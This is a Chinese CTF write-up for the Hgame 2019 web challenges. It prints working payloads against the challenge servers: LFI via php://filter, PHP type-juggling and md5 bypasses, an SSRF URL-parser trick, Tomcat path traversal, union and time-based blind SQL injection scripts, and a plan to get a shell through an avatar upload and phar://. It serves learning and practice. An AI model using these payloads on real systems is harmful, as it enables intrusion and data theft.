Back

Hgame2019

[TOC]

Hgame 2019 Web wirteup

Week 1

Web

谁吃了我的 flag

呜呜呜,Mki 一起床发现写好的题目变成这样了,是因为昨天没有好好关机吗 T_T

hint: 据当事人回忆,那个夜晚他正在用 vim 编写题目页面,似乎没有保存就关机睡觉去了,现在就是后悔,十分的后悔。

既然提示 vim ,那就直接下载.index.html.swp,用vim -r .index.html.swp恢复就好了,得到

<!DOCTYPE HTML>
<html>
        <head>
                <title>谁吃了我的flag???</title>
        </head>
        <body>
                <p>damn...hgame2019 is coming soon, but the stupid Mki haven't finished his web-challenge...</p>
Press ENTER or t</br>ommand to continue
                <p>fine, nothing serious, just give you flag this time...</p>
                </br>
                <p>the flag is hgame{3eek_diScl0Sure_fRom+wEbsit@}
        </body>
</html>

换头大作战

想要 flag 嘛 工具: burpsuite postman hackbar 怎么用去百度,相信你可以的

一步步改包就可以了。完整包如下:

POST /week1/how/index.php HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Waterfox/50.0
Referer: www.bilibili.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: admin=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

want=%E6%83%B3

very easy web

代码审计初 ♂ 体验

<?php
error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
  die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
  echo $flag;
}
highlight_file(__FILE__);
?>

源码如上,比较简单,二次urlencode即可,payload: id=%2576%2569%2564%2561%2572

can u find me

为什么不问问神奇的十二姑娘和她的小伙伴呢

查看源码得到下一关地址


<!DOCTYPE html>
<html>
<head>
	<title>can u find me?</title>
</head>
<body>
	<p>the gate has been hidden</p>
	<p>can you find it? xixixi</p>
	<a href="f12.php"></a>
</body>
</html>

跟进,提示

<p>please post password to me! I will open the gate for you!</p> 

查看该包可以发现有响应头

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Sat, 02 Feb 2019 10:32:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
password: woyaoflag
Content-Length: 302

<!DOCTYPE html>
<html>
<head>
	<title>can u find me?</title>
</head>
<body>
	<p>yeah!you find the gate</p>
	<p>but can you find the password?</p>
	<p>please post password to me! I will open the gate for you!</p> 
</html> 

传入对应的 password 之后,提示

<p>right!</p><a href='iamflag.php'> click me to get flag</a></body>

抓包访问是个 302 跳转,iamflag.php 就存在 flag

HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Sat, 02 Feb 2019 10:33:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
location: toofast.php
Content-Length: 132

<html>
  	<head>
		<title>can you find me?</title>
	</head>
	<body>
		<p>flag:hgame{f12_1s_aMazIng111}</p>
	</body>
</html>

Week 2

Web

easy_php

代码审计 ♂ 第二弹

Title 提示 where is my robots ,访问 robots.txt 得到 img/index.php ,访问得到真源码

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

使用....//绕过../的过滤,使用php://filter/read=convert.base64-encode/resource=来读取文件内容

最终 payload:php://filter/read=convert.base64-encode/resource=....//flag

解 base64 得到:

<?php
    //$flag = 'hgame{You_4re_So_g0od}';
    echo "maybe_you_should_think_think";

php trick

some php tricks

<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

使用str1=QNKCDZO&str2=240610708绕过step 1中的md5弱相等

使用数组绕过step 2中的md5相等

使用.绕过对_的判断,数组绕过对数字的判断

使用http://localhost@127.0.0.1:80@www.baidu.com/admin.php绕过step 9 10的判断,得到admin.php

<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

使用filename=xxxxx/../flag.php绕过file_existsfile_get_contents函数

得到flag.php

<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

PHP Is The Best Language

var_dump 了解一下

<?php  

include 'secret.php'; 

#echo $flag; 
#echo $secret; 

if (empty($_POST['gate']) || empty($_POST['key'])) { 
    highlight_file(__FILE__); 
    exit; 
} 

if (isset($_POST['door'])){ 
    $secret = hash_hmac('sha256', $_POST['door'], $secret); 
} 

$gate = hash_hmac('sha256', $_POST['key'], $secret); 

if ($gate !== $_POST['gate']) { 
    echo "Hacker GetOut!!"; 
    exit; 
} 

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
    echo "Wow!!!"; 
    echo "</br>"; 
    echo $flag; 
} 
else { 
    echo "Hacker GetOut!!"; 
} 

?> 

一开始我一直在想用数组绕过对keymd5判断,可是一旦用了数组,$gate计算出来的就是NULL,因为hash_hmac('sha256', $_POST['key'], $secret);key[]为数组,就会出现返回NULL的情况,但是这样的话,$gate就因为key[]的原因等于NULL了,而需要绕过$gate !== $_POST['gate'],就需要gate参数不存在或者为 0,然后这两种情况都绕不过一开始的empty($_POST['gate']),因为empty(NULL)empty(0)都是true

后来经过一番提醒,$_POST['key']是可以爆破得到的,例如在 100 内

for($i=1; $i < 99 ;$i++){
    if ((md5($i)+1) == (md5(md5($i)))+1) { 
        echo $i."\n";
    }
}

12
14
39
42
49
50
53
65
71
74
79
83
98

得到这么多个数…

所以整个环节就比较清楚了,使用door[]$secret置换为NULL,这样我们就可以在本地算出$gate的值了,然后 POST 那个值就行了。

最终用door[]=1&key=98&gate=34047c350a9243401fb31a261407ca367fe058a8f7e00abd10b257e89025ccdd得到 flag : hgame{Php_MayBe_Not_Safe}

Baby_Spider

Come to death in the ocean of mathematics together with Li4n0! Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~

**hint1:**The most basic operation of a spider is to disguise itself. **hint2:**Always believe only what you see with your own eyes

这题很坑很坑…做得有点生气

首先 1-10 关需要带一些普通请求头访问,否则第十关会直接返回shutdown命令,我没有用管理员直接跑,所以没关机,但是我误以为这是要求python返回值的问题,然后搞了半天发现是需要带一些请求头

然后在 11 关他会修改一个字体的 style ,比如我得到文本为(972279097)/414696815/(472238406)+769794962*(27940524)=?,但是视觉效果却是

字体 style 为

<style>
@font-face {
      font-family: Ariali;
      src: url('Ariali.otf');
      font-weight: normal;
      font-style: normal;
}
.question-container{
    font-family: Ariali;
    font-weight: bold;
}

对应规则为

0123456789->1026943587

21-30 关又改了 style ,给question-container增加了after元素

<style>
.question-container:after{
    content:"(616887126)-957226796+956719004+554270862+732380290=?";
}

所以我们就需要去计算这个 content 中的即可。

把脚本中的 token 替换为自己的 token :

import re
import requests

token_url = 'http://111.231.140.29:10000/'
solution_url = 'http://111.231.140.29:10000/solution'
style_url = 'http://111.231.140.29:10000/statics/style.css'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}
dic = '1026943587'
r = requests.Session()
s = r.post(token_url,data={'token':'BkqnELak3XMzcYsXPZ0DFuXSRf9DLsRW'},allow_redirects=True,headers=headers)
str_text = r"<div class=\"question-container\"><span>.*</span></div>"

for i in range(1,11):
    print(str(i))
    # if i == 11:
    #     rep = r.get(style_url)
    #     print(rep.text)
    match = re.search(str_text,s.text)
    result = match.group().replace("<div class=\"question-container\"><span>","")
    result = result.replace("=?</span></div>","")
    print(result + '\n')
    result = str(eval(result))
    s = r.post(solution_url,data={'answer':result},headers=headers)
    print(s.text)

for i in range(11,21):
    print(str(i))
    # if i == 21:
    #     rep = r.get(style_url)
    #     print(rep.text)
    match = re.search(str_text,s.text)
    result = match.group().replace("<div class=\"question-container\"><span>","")
    result = result.replace("=?</span></div>","")
    tmp = ''
    for j in range(0,len(result)):
        if ord(result[j]) > 47:
            tmp += dic[int(result[j])]
        else:
            tmp += result[j]
    result = tmp
    print(result + '\n')
    result = str(eval(result))
    s = r.post(solution_url,data={'answer':result},headers=headers)
    print(s.text)

for i in range(21,31):
    print(str(i))
    # if i == 21:
    #     rep = r.get(style_url)
    #     print(rep.text)
    s = r.get(style_url)
    match = re.search("content:\".*=?\"",s.text)
    result = match.group().replace("content:\"","")
    result = result.replace("=?\"","")
    print(result + '\n')
    result = str(eval(result))
    s = r.post(solution_url,data={'answer':result},headers=headers)
    print(s.text)

虽然坑归坑,但是也是能理解作者想表达的反爬虫技术的技巧的想法的

Math 有趣

Math is interesting, isn’t it? update: 题中最后的^是乘方,不是 xor hint: 了解一下 tomcat、spring mvc 的目录结构和配置文件(自己搭一下就明白了 hint2: 图片目录不在 web 目录下

输入答案 2 之后,进入下一题,发现是个计算…

我直接放在一旁跑 1-999,然后继续看题,查看源码我们可以发现

<html>
<head>
    <title>Title</title>
</head>
<body>
<p>It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.</p>
<br/>
<form action="/index.php" method="post">
    Your Answer: <input type="text" name="answer" />
    <input type="submit" value="Submit" />
</form>
</body>
</html>

图片文件有些怪异,竟然是个.php后缀,尝试看看文件,发现报错

看来是个base64加密的图片名字格式,atob("cXVlc3Rpb24ucG5n")得到question.png

尝试用/img/answer.png.php访问,换了一种报错

猜测是个可以任意文件读取,然后我们用../../../../../etc/passwd经过 base64 编码后加上.php访问,成功得到文件内容,于是猜解目录结构,发现经过../../之后就是根目录。

题目并没有给特别的信息,猜测是个默认目录之类的,既然放在tomcat下,而且也不给其他包名,应该就是类似$TOMCAT_HOME/webapps/ROOT这样的目录,然后加上WEB-INF/web.xml这个比较常用的默认文件来确定位置,最终在../../usr/local/tomcat发现tomcat目录

btoa("../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml")
"Li4vLi4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvV0VCLUlORi93ZWIueG1s"

得到文件内容

<!DOCTYPE web-app PUBLIC
        "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
        "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
    <display-name>Archetype Created Web Application</display-name>
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:application-context.xml</param-value>
    </context-param>

    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>

    <servlet>
        <servlet-name>mathyouqu</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    </servlet>
    
    <servlet-mapping>
        <servlet-name>mathyouqu</servlet-name>
        <url-pattern>*.php</url-pattern>
    </servlet-mapping>
</web-app>

根据classpath:application-context.xml,访问WEB-INF/classes/application-context.xml得到文件内容

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans.xsd
    http://www.springframework.org/schema/context
    http://www.springframework.org/schema/context/spring-context.xsd">

</beans>

但是文件内容对我们接下来要读取的源码并没什么帮助,于是找了很多其他的配置文件都没有找到,最后想起来报错页面应该会有项目文件的名字,也就是之前的那张图:

我们可以看到包名hgame.controller,然后MathController就是控制器,对应的就是.class文件,image()对应的就是MathController这个类中的方法。这样从包名我们就可以找到文件路径了,猜测就是hgame/controller/MathController.class,因为是编译好的,所以是.class结尾,而不是.java

JD-GUI打开即可看到源码:

package hgame.controller;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MathController
{
  @RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
  public String index(ModelMap model, HttpSession session, HttpServletResponse response)
    throws IOException
  {
    Object step = session.getAttribute("step");
    if (step == null)
    {
      session.setAttribute("step", Character.valueOf('1'));
      response.sendRedirect("/index.php");
      return null;
    }
    if (step.toString().equals("1")) {
      model.addAttribute("message", "Welcome to the world of mathematics.<br/>Let's warm up first.<br/>1+1=?");
    } else if (step.toString().equals("2")) {
      model.addAttribute("message", "It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.");
    }
    return "math";
  }
  
  @RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
  public void pindex(@RequestParam("answer") String answer, HttpSession session, HttpServletResponse response)
    throws IOException
  {
    Object step = session.getAttribute("step");
    if (step == null)
    {
      session.setAttribute("step", Character.valueOf('1'));
      response.sendRedirect("/index.php");
    }
    else if ((step.toString().equals("1")) && 
      (answer.equals("2")))
    {
      session.setAttribute("step", "2");
      response.sendRedirect("/index.php");
    }
  }
  
  @RequestMapping(value={"/img/{path}"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
  public String image(@PathVariable("path") String path, HttpServletResponse response)
  {
    path = new String(Base64.getDecoder().decode(path));
    InputStream f = null;
    OutputStream out = null;
    try
    {
      f = new FileInputStream("/home/static/" + path);
      out = response.getOutputStream();
      int count = 0;
      byte[] buffer = new byte['���'];
      while ((count = f.read(buffer)) != -1)
      {
        out.write(buffer, 0, count);
        out.flush();
      }
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    try
    {
      f.close();
      out.close();
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return "ok";
  }
  
  @RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
  public String Flag(ModelMap model)
  {
    System.out.println("This is the last question.");
    System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
    System.out.println("The flag is hgame{x}.x is a decimal number.");
    model.addAttribute("flag", "Flag is not here.");
    return "flag";
  }
}

可以看到有个/flag的路由,我们只需要计算123852^x % 612799081 = 6181254136845 % 612799081这个就可以了,爆破得到15387368就是答案

Week 3

Web

神奇的 md5

flag 在根目录下(请善待学生机) hint:md5 碰撞 你自己本地去生成 3 个 md5 值一样的 sha 值不一样的 用 curl 上传

http://118.25.89.91:8080/question/login.php

访问不了 2333

看其他师傅的 wp ,首先是个源码审计

<?php
session_start();
error_reporting(0);


    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {
        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];

        if (($username == $password ) or ($username == $code)  or ($password == $code)) { 
            echo "Your input can't be the same";
        } 
        else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
            echo "Good"; 
	    
            header('Location: admin.php');  
            exit();
        } else {
            echo "<pre> Invalid password</pre>";
        }
    }
?>

看来是 md5 强碰撞,这里给三个 md5 一样的图片

$ curl -s http://www.fishtrap.co.uk/black.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
$ curl -s http://www.fishtrap.co.uk/brown.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
$ curl -s http://www.fishtrap.co.uk/white.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad

后面就是简单的命令执行了

sqli-1

sql 注入 参数是 id

http://118.89.111.179:3000/

没有任何过滤,就是处理验证码 code 有点麻烦

贴一下自己的脚本

import hashlib
import requests
from urllib import parse
import re
 
def md5(s):
    return hashlib.md5(s).hexdigest()

def cal(code):
    for i in range(1, 9999999):
        if md5(str(i).encode('utf-8')).startswith(code):
            return i


headers = { 'Cookie': 'PHPSESSID=5vsgpoc8m9j8c66d9vfmru0uqd; path=/' }
# req = requests.session()
url = "http://118.89.111.179:3000/"
rep = requests.get(url,headers=headers)
match = re.search(r'=== .*<br>',rep.text)
code = match.group().replace("=== ","")
code = code.replace("<br>","")
payload = '1 union select table_name from information_schema.tables where table_schema=\'hgame\';#'
payload = '1 union Select column_name from information_schema.columns where table_name=\'f1l1l1l1g\';#'
payload = '1 union Select f14444444g from f1l1l1l1g;#'
url = "http://118.89.111.179:3000/?id=%s&code=%s" % (parse.quote(payload),cal(code))
rep = requests.get(url,headers=headers)
print(rep.text)

sqli-2

sql 注入

http://118.89.111.179:3001/?id=1

我做的时候…也是访问不了…

could not connect to the database: Connection refused
I'll tell you if SQL can be executed. 

直接显示链接数据库失败,看其他师傅的 wp ,看样子是个盲注的题,然而…

基础渗透

综合利用各种漏洞来 getshell,然后找到被藏起来的 flag。

http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=user直接读源码

User.php:

<?php
require_once('functions.php');
if (!isset($_SESSION['login'])) {
    Header("Location: /login.php");
    exit();
} else {
    echo "<div id='user-info' class='am-container'>";
    echo "<div class='am-form'>";
    echo "<div class='am-form-group am-form-file' id='form-file'>";
    $image = get_avatar($_SESSION['user_id']);
    if ($image != null) {
        echo "<img type='button' src=data:image/png;base64," . $image['content'] . " class='am-circle' id='avatar'>";
    } else {
        echo "<div class='am-circle avatar-tmp' id='avatar'>" . md5($_SESSION['user']) . "</div>";
    }

}

?>

    <input type="file" id="upfile" onchange="SelectImage()">
    </div>
    <button id="upload" class="am-btn am-btn-primary am-disabled">保 存 头 像</button>
    </div>

<?php
echo "<div class='user'><strong>用户名: </strong> " . $_SESSION['user'] . "</div>";
echo "<hr>";
echo "<div class='am-form am-form-horizontal'>";
echo "<strong>原密码:</strong> <input id='oldpassword' type='password'> ";
echo "<br>";
echo "<strong>新密码:</strong> <input id='newpassword' type='password'>";
echo "<br>";
echo "<strong>新密码确认:</strong> <input id='newpassword_again' type='password'> ";
echo "<br>";
echo "</div>";
echo "<button onclick='NewPassword()' class='am-btn am-btn-danger'>确 认 修 改</button>";
echo "</div>";
echo "</div>";
echo "</div>";

echo "<script src='/js/user.js'></script>";
?>

Functions.php

<?php
//ini_set("display_errors", "on");
require_once('config.php');
session_start();

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function csrf_token()
{
    $token = '';
    $chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
    for ($i = 0; $i < 48; $i++) {
        $token = $token . $chars[random_int(0, 61)];
    }
    $_SESSION['token'] = $token;
    echo "<input type='hidden' value='$token' id='token'>";
}

function res_to_json($res, $type)
{
    $json['type'] = $type;
    $json['status'] = "true";
    $json["content"] = array();
    foreach ($res as $message) {

        $array_tmp['user_id'] = $message['user_id'];
        $array_tmp['user'] = $message['user'];
        $array_tmp['avatar'] = get_avatar($message['user_id']) != null ? get_avatar($message['user_id'])['content'] : md5($message['user']);
        $array_tmp['message'] = $message['content'];
        $array_tmp['message_id'] = $message['message_id'];
        $array_tmp['time'] = $message['date'];
        array_push($json["content"], $array_tmp);
    }
    $json["content"] = $json["content"];
    return json_encode($json);
}

function judge($username, $password)
{
    if ($username == null) {
        echo "username's length error!";
        return false;
    } elseif (strlen($password) < 6 or strlen($password) > 16) {
        echo "password's length error!";
        return false;
    } else {
        return true;
    }
}

function register($username, $password, $token)
{
    if (judge($username, $password) == 1 and $token === $_SESSION['token']) {
        $password = md5($password);
        $sql_query = "insert into `users`(`username`,`password`) VALUES ('$username','$password')";
        $res = sql_query($sql_query);
        if ($res) {
            echo 'register success!';
        } else {
            echo 'error!';
        }
    } else {
        echo "error!";
        return false;
    }

}

function login($username, $password, $token)
{
    if (!isset($_SESSION['login']) and $token === $_SESSION['token']) {
        $password = md5($password);
        $sql_query = "select * from `users` where `username`='$username' and `password`='$password'";
        $res = sql_query($sql_query);
        if ($res->num_rows) {
            $data = $res->fetch_array();
            $_SESSION['user_id'] = $data['user_id'];
            $_SESSION['user'] = $data['username'];
            $_SESSION['groups'] = $data['groups'];
            $_SESSION['login'] = 1;
            setcookie('user', $_SESSION['user']);
            setcookie('groups', $_SESSION['groups']);
        } else {
            echo "error!";
            return false;
        }
    } else {
        echo "error!";
        return false;
    }
}

function loginout()
{
    if ($_GET['loginout'] === $_SESSION['token']) {
        session_destroy();
        setcookie('groups', null);
        setcookie('user', null);
        Header("Location: index.php");
    }
}

function get_avatar($user_id)
{
    $sql_query = "select `avatar` from `users` where `user_id`=$user_id";
    $res = sql_query($sql_query)->fetch_row()[0];
    if ($res) {
        return array('name' => $res, 'content' => base64_encode(file_get_contents('./img/avatar/' . $res . '.png')));
    } else {
        return null;
    }
}

function get_new_messages()
{
    $start = $_GET['start'] ?? 0;
    $start = addslashes($start);
    $user_id = $_SESSION['user_id'];
    $sql_query = "select * from `messages` where `user_id`=$user_id LIMIT $start,999999999999";
    $res = sql_query($sql_query);
    if ($res->num_rows) {
        return res_to_json($res, "messages");
    }

}

function get_messages()
{
    $start = $_GET['start'] ?? 0;
    $start = addslashes($start);
    $user_id = $_SESSION['user_id'];
    $sql_query = "select * from `messages` where `user_id`=$user_id ORDER BY `message_id` DESC LIMIT $start,12";
    $res = sql_query($sql_query);
    if ($res->num_rows) {
        return res_to_json($res, "messages");
    }
}

function add_message($message)
{
    if ($_POST['token'] === $_SESSION['token']) {
        if (isset($_SESSION['login']) and mb_strlen($message) > 6) {
            $user_id = $_SESSION['user_id'];
            $user = $_SESSION['user'];
            $sql_query = "insert into `messages`(`user_id`,`user`,`content`) VALUES($user_id,'$user','$message')";
            sql_query($sql_query);
        } elseif (!isset($_SESSION['login'])) {
            echo "login error";
        } else {
            echo "length error";
        }
    }
}

function delete_message($message_id)
{
    $user_id = $_SESSION['user_id'];
    if ($_POST['token'] === $_SESSION['token']) {
        if ($_SESSION['groups'] == 0) {
            $sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
        } elseif ($_SESSION['groups'] == 1) {
            $sql_query = "delete from `messages` where `message_id`=$message_id";
        }
        sql_query($sql_query);

    }
}

function rand_filename()
{
    $tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
    $sql_query = "select `avatar` from `users` where `avatar`=$tmp";
    $res = sql_query($sql_query);
    if ($res->num_rows) {
        return rand_filename();
    } else {
        return $tmp;
    }
}

function upload_avatar()
{
    $type = $_FILES['file']['type'];
    $user_id = $_SESSION['user_id'];
    if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
        $avatar = get_avatar($user_id);
        if ($avatar == null) {
            $name = rand_filename();
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
            $sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
            sql_query($sql_query);
        } else {
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

        }
    }
}

function change_password($opassword, $npassword, $npasswod_again)
{
    if (judge($_SESSION['user'], $npassword)) {
        if ($npasswod_again !== $npassword) {
            echo "difference error";
        } else {
            $user_id = $_SESSION['user_id'];
            $sql_query = "select `password` from `users` where `user_id`=$user_id";
            $res = sql_query($sql_query);
            if ($res->num_rows) {
                if ($res->fetch_row()[0] === md5($opassword)) {
                    $sql_query = "update `users` set `password`=md5($npassword) WHERE `user_id`=$user_id";
                    $res = sql_query($sql_query);
                    echo $res;
                    echo "successful";
                } else {
                    echo "oldpassword error";
                }
            }
        }

    }

}

Message.php

<h1 class="title" id="title">Message Board</h1>
<div id="container" class="am-container"></div>
<div id="rocket" class="am-icon-btn" onclick="ReturnTop()"></div>
<div id="write_message" class="am-icon-btn"></div>
<div class="am-modal am-modal-prompt" tabindex="-1" id="my-prompt">
    <div class="am-modal-dialog am-form" id="message_area">
        <div class="am-modal-hd">写留言</div>
        <div class="am-modal-bd">
            <textarea class='textarea' name="new_message" id="new_message" cols="30" rows="10"></textarea><br>
        </div>
        <div class="am-modal-footer">
            <button class="am-btn am-btn-danger button " id="button_cancel" data-am-modal-cancel>取 消
            </button>
            <button class="am-btn am-btn-primary button " id="button_sumbit"
                    data-am-modal-confirm>
                提 交
                留 言
            </button>
        </div>
    </div>
</div>
<script src='/js/index.js'></script>

Config.php

<?php
$DBHOST = "127.0.0.1";
$DBUSER = getenv('DATABASE_USER');
$DBPASS = getenv('DATABASE_PASS');
$DBNAME = "lyb";
$mysqli = new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
?>

Login.php

<?php
require_once('functions.php');
if (!isset($_POST['username']) or !isset($_POST['password'])) {
    if (isset($_GET['loginout'])) {
        loginout();
    }
    if (!isset($_SESSION['login'])) {
        include('template/login.html');
        csrf_token();
    } else {
        Header('Location: /index.php');
    }
} else {
    login(addslashes($_POST['username']), addslashes($_POST['password']), $_POST['token']);
}

index.php

<?php
include_once("template/header.php");
if (is_null($_SESSION['user_id'])) {
    header('Location:/login.php');
    exit();
}
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

Message_api.php

<?php
require_once('functions.php');
if ($_GET['action'] === 'add') {
    if (!isset($_POST['new_message']) or !isset($_POST['token'])) {
        header("Location: /index.php");
    } else {
        add_message(htmlspecialchars(addslashes($_POST['new_message'])));
    }
} elseif ($_GET['action'] === 'delete') {
    if (!isset($_POST['message_id']) or !isset($_POST['token'])) {
        header("Location: /index.php");
    } else {
        delete_message(addslashes($_POST['message_id']));
    }
} elseif ($_GET['action'] === 'get_new') {
    if (is_null($_SESSION['user_id'])) {
        http_response_code(403);
    } else {
        echo get_new_messages();
    }
} elseif
($_GET['action'] === 'get') {
    if (is_null($_SESSION['user_id'])) {
        http_response_code(403);
    } else {
        echo get_messages();
    }
}

functions.php中我们可以看到一个明显的注入

function delete_message($message_id)
{
    $user_id = $_SESSION['user_id'];
    if ($_POST['token'] === $_SESSION['token']) {
        if ($_SESSION['groups'] == 0) {
            $sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
        } elseif ($_SESSION['groups'] == 1) {
            $sql_query = "delete from `messages` where `message_id`=$message_id";
        }
        sql_query($sql_query);

    }
}

我们就可以从$message_id进行注入。然而这个注入可以搭配什么进行攻击呢,既然首页有文件包含,我们是不是可以利用上传头像来进行包含利用,这个sql注入就可以帮助我们获得头像文件名了。

大致思路就出来了,通过头像上传,然后使用注入获得路径,在用phar://xxxx/xxxx来访问拿到shell

这里不知道为什么访问有点问题,贴一下一叶飘零师傅的 jio 本好了:

import requests
import re
flag=''
res = "<input type='hidden' value='(.*?)' id='token'"
url = 'http://111.231.140.29:10080/index.php'
header={
    'User-Agent':'curl/7.54.0',
    'Accept':'*/*'
}
cookie = {
    'PHPSESSID':'mobe47sd6q6ocl6g9upcok0ad8',
    'user':'zeddy',
    'groups':'0'
}
url2 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url4 = 'http://111.231.140.29:10080/messages_api.php?action=add'
for i in range(1,1000):
    print(i)
    # for j in range(33,127):
    for j in '0123456789abcdef':
        j = ord(j)
        r = requests.get(url=url, cookies=cookie,headers=header)
        token = re.findall(res, r.content.decode('utf-8'))[0]
        #payload = "-1 or if((ascii(substr((database()),%d,1))=%d),sleep(5),0)#"%(i,j)
        payload = "-1 or if((ascii(substr((select avatar from users where username like 0x7a65646479),%d,1))=%d),sleep(3),0)#"%(i,j)
        data = {
            'message_id':payload,
            'token':token
        }
        try:
            r = requests.post(data=data,cookies=cookie,url=url2,timeout=2.5,headers=header)
        except:
            flag += chr(j)
            print(flag)
            r = requests.get(url=url, cookies=cookie,headers=header)
            token = re.findall(res, r.content.decode('utf-8'))[0]
            data = {
                'new_message': '123456',
                'token': token
            }
            r = requests.post(data=data,cookies=cookie,url=url4,headers=header)
            break

BabyXSS

save 按钮尝试 xss(尝试过程不需要输验证码),成功后带上验证码 code,submit 按钮提交 xss 语句;flag 在 admin 的 cookie 里面,格式 hgame{xxxxx}。

http://118.25.18.223:9000/index.php

一直访问不了 233

参考其他师傅的 wp ,只是一个简单的双写关键字绕过

Week 4

Web

happyPython

flag 在管理员账号下

http://118.25.18.223:3001

